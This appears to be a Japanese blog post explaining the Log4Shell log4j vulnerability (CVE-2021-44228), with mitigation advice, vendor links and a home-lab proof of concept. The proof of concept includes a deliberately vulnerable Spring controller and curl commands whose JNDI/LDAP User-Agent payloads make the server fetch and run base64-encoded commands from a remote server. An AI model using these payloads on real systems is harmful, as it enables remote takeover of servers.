かなり深刻な脆弱性が見つかり、てんやわんや状態です。
Javaで構築システムのほとんどはlog4jまたはその派生を使用しているので、一気に広まりました。
CVSSが10という最高値の脆弱性評価となっており、超お手軽にで外部のコードを実行できる。
githubなどで検証コードが多数公開されており、ゼロデイ攻撃が始まっている
log4j 2.x系が対象。1.x系は本脆弱性対象外(ただし別の脆弱性あり)
log4j2-coreが対象なので、log4j2-apiだけ利用している場合は対象外。
slf4j、logbackはlog4j 1.x系統なので対象外
log4j2-core は脆弱性対応した2.15が公開、lookupを無効化した2.16が公開
いきさつ
11月24日 Alibaba Cloud Security TeamがThe Apache Software Foundationへ脆弱性について連絡(https://help.aliyun.com/noticelist/articleid/1060971232.html)
12月9日 Twitterで投稿され、瞬く間に広がる。
12月10日 log4j 2.15が配布される。
脆弱性・攻撃手法
共通脆弱性識別子CVEも採番され、CVE-2021-44228で取り扱われています。
NVDではまだスコアリングされていないですが、CISCOなどCVSS3.1のベーススコアは危険度最大値である「10」を表示しています。
どんな攻撃なのかは下記サイトの図を見たほうがわかりやすいです。
【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
ソース
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://192.168.0.0/a}");
}
}
8行目のログ出力に「${jndi:ldap://【IPアドレス】/【DN情報】}」で実行できます。
jndiが使えるものであれば実行できるようで、rmiやdnsも実行できます。
${jndi:ldap://【IPアドレス】/DNレコード
実際にテストで通信した場合、TCP通信上で、DNレコードで検索しているみたい。
${jndi:dns://【IPアドレス】/TXTレコード
dnsで問い合わせする際はTXTレコードで問い合わせするみたい。
リモート実行、リバースシェルの実行が簡単に行える
jndi:ldapでは、リモートのコードを取得・実行が可能なのでいとも簡単に簡単にサーバやPCを乗っ取ることができます。
実際にgithubでのソースコードが公開されていたり、実証実験(PoC)している人も多いです。
実際に試してみた
自分内のシステムで実施する程度のとどめるようにお願いします
私も実際に試してみました。(WebシステムっぽくSpringbootもどきで実装)
Eclipseのスプリング スタータプロジェクトから適当に作成します。
実行コード
SpringBootはデフォルトでlogbackを利用するそうなので、log4j2を読み込むように変更してます。
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'com.example'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '17'
configurations {
compileOnly {
extendsFrom annotationProcessor
}
//log4j2を利用するため、Spring BootデフォルトのLogbackを利用しないよう設定
all*.exclude module : 'spring-boot-starter-logging'
}
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter-data-jpa'
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation 'org.springframework.boot:spring-boot-starter-web'
implementation "org.springframework.boot:spring-boot-starter-log4j2"
modules {
module("org.springframework.boot:spring-boot-starter-logging") {
replacedBy("org.springframework.boot:spring-boot-starter-log4j2", "Use Log4j2 instead of Logback")
}
}
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
runtimeOnly 'com.h2database:h2'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
ヘッダー情報をログ出力するプログラム
package com.example.demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class IndexController {
static protected Logger logger = LogManager.getLogger(IndexController.class);
@RequestMapping(value = "/")
public String index(Model model,@RequestHeader(name="User-Agent",required=false) String userAgent) {
model.addAttribute("message","Hello Springboot");
/** ロガー */
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("User-Agent:{}",userAgent);
return "index";
}
}
PoC(概念実証)
Springを起動し、
リモート実行が可能なldapサーバを立てて、
gitbashなどでcurlで実行
概念実証する際は自サーバのみとしてください。
他人のサーバで試験した際、罪に問われる場合があります。
$ curl http://localhost:8080/ -H 'User-Agent: ${jndi:ldap://【LDAPサーバ】/Basic/Command/Base64/Y3VybCAtTCBodHRwOi8va2FlZGUuanAgLW8ga2FhYWFhYWFhYWFhYWVkZS5odG1s}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 252 0 252 0 0 2311 0 --:--:-- --:--:-- --:--:-- 2311<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Hello</title>
<meta charset="utf-8" />
</head>
<body>
<h1>Springboot Hello Sample</h1>
<p>
<span>Hello Springboot</span>!!!
</p>
</body>
</html>
Y3VybCAtTCBodHRw・・・は「curl -L http://kaede.jp -o kaaaaaaaaaaaaede.html」をbase64にエンコードしたもの。
Eclipse側のログでは下記のように出てました。
2021-12-13 23:36:51,178 http-nio-8080-exec-3 WARN Error looking up JNDI resource [ldap://【LDAPサーバ】:1389/Basic/Command/Base64/Y3VybCAtTCBodHRw。。。]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitLs64RAP7IZ cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Y3VybCAtTCBodHRw。。。"'
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
エラーで出力されていました。エラー情報出力されない場合もあるそうなのですが、これはどうなんでしょう。
しかし、コマンドは正しく実行されているようで、エクスプローラーで確認してみると
htmlファイルがいるやん。こっわ。
base64の部分を「Y2FsYw==」に変更すると電卓が起動するし、本当にやりたいほうだいやんこれ。
各システムは急ピッチで対応している
各サーバ、各システムは急ピッチで調査・対応を進めています。
何版か更新かかっているので、使用しているところは確認したほうがよさそうです。
GCP:https://cloud.google.com/blog/products/identity-security/cloud-ids-to-help-detect-cve-2021-44228-apache-log4j-vulnerability
AWS:https://aws.amazon.com/jp/security/security-bulletins/AWS-2021-006/
Azure(Microsoft):https://msrc-blog.microsoft.com/2021/12/12/microsofts-response-to-cve-2021-44228-apache-log4j2-jp/
Scutum:https://www.scutum.jp/information/technical_articles/apache_log4j.html
Akamai:https://www.akamai.com/blog/news/CVE-2021-44228-Zero-Day-Vulnerability
CloudFlare:https://blog.cloudflare.com/how-cloudflare-security-responded-to-log4j2-vulnerability/
VMWare:https://kb.vmware.com/s/article/87068
アンチウイルスソフトでも対応
実際に実証実験で攻撃しようとcurlを叩いてみると、ノートンより攻撃が弾かれました。13日中にシグネチャの更新されたっぽい。
$ curl http://localhost:8080/ -H 'User-Agent: ${jndi:ldap://cvss.kaede.jp:1389/Basic/Command/Base64/Y2FsYw==}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--
Log4j1は対象外・・・だが他の脆弱性あり
IPAや一部サイトではlog4j 1系はlookup機能がないため対象外と発表しており、
slf4jのプロジェクトでもlookup昨日はないため対象外と記載しております。
log4j 1.xj開発者は何度も1.xは脆弱性対象ですか?と聞かれているようで・・・お疲れ様です。
log4j 1系は既にサポート終了しており、他の脆弱性をはらんでる可能性があるため、slf4jやlogbackなどの移行を推奨しているようです。
2021/12/16追記
log4j 1系でもlog4j.xmlまたはlog4j.propertiesが存在する場合は JMSAppender によりJNDI lookupが有効となるようです。
攻撃者がlog4j.xmlまたはlog4j.propertiesに書き込みできることが条件にはなるので深刻度は下がりますが、「CVE-2021-44228」に近い影響が出てくるようです。
slf4jのサイトで公表しており、安全を高めるならlog4j.jarを解凍⇒JMSAppender.class⇒jar化するように発表しています。
そしてこの脆弱性は CVE-2021-4104(CVSS 6.6) として取り扱われ、Redhat社など対応を進めているようです。
Redhat:https://access.redhat.com/security/cve/CVE-2021-4104
NVD:https://nvd.nist.gov/vuln/detail/CVE-2021-4104
CVE:https://www.cve.org/CVERecord?id=CVE-2021-44228
log4j 1.2.xは2015年8月にEOLを迎えたが、そのあとにCVE-2019-17571(CVSS9.8)のSocketServerの脆弱性やCVE-2020-9488(CVSS3.7)のSMTPS証明書に関する脆弱性などいくつか顕在化されています。
CVSS9.8の脆弱性が顕在化してもバージョンアップされず、各々jarファイルから対象のクラスファイルの削除対応でした。
log4j 1.3.xへアップデートしてほしい要望もありますが、望み薄そうなので、slf4j+logbackへの移行がいいかもしれないです。
確認方法
log4j 2系が使われているかどうかは「log4j-core-*.jar」で確認するだけでは不足しているようで、
mavenの場合は「mvndependency:tree」コマンド
gradleの場合は「gradle dependencies」コマンド
で詳細に見たほうがよさそうです。
対処方法
Apache Log4j Security Vulnerabilitiesのとおり最新版の2.15に上げることが一番良いとのこと。
もし、上げるのが厳しい場合は
- Lookup機能の無効化(2.10以上)
- PatternLayoutの変更(2.7以上)
- 特定classの削除(2.0-beta9以上)
でもできるよう。
個人的ですが、外部サーバからリモートファイルの取得されることが問題なので、
内⇒外の通信制御することでも一応防御にはならないのかなと思ったり。(サーバ系しか対応できなさそうですが)
雑感
こんなメジャーなライブラリなのに、かなり深刻な脆弱性が顕在化するまで7年かかるとは。影響が計り知れないなと思います。
ひょんなことから脆弱性情報が広がるので、何か問題があったらすぐに適用できるように、
・ライブラリのバージョンアップを追いかける
・CI/CD環境を整備する
など必要と感じました。